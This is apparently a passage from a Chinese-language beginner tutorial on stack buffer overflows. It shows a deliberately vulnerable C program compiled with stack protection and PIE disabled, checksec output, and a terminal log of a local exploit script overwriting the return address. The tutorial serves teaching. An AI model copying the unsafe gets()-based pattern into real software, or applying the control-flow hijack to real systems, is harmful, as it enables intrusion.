gcc -m32 -fno-stack-protector -no-pie stack_example.c -o stack_example stack_example.c: In function ‘vulnerable’: stack_example.c:9:3: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration] gets(s); ^~~~ fgets /usr/bin/ld: /tmp/ccVDCXWz.o: infunction `vulnerable': stack_example.c:(.text+0x45): 警告:the `gets'function is dangerous and should not be used.
查看保护
1 2 3 4 5 6 7
checksec stack_example [*] '/mnt/hgfs/shared/pwn/\xe6\xa0\x88\xe6\xba\xa2\xe5\x87\xba/stack_example' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
root@kali:shared/pwn/栈溢出# python exp.py [+] Starting local process './stack_example': pid 8314 addr: r\x91\x0 [*] Switching to interactive mode [*] Process './stack_example' stopped with exit code -11 (SIGSEGV) (pid 8314) aaaaaaaaaaaaaaaaaaaabbbbr\x91\x0 You Hava already controlled it. [*] Got EOF while reading in interactive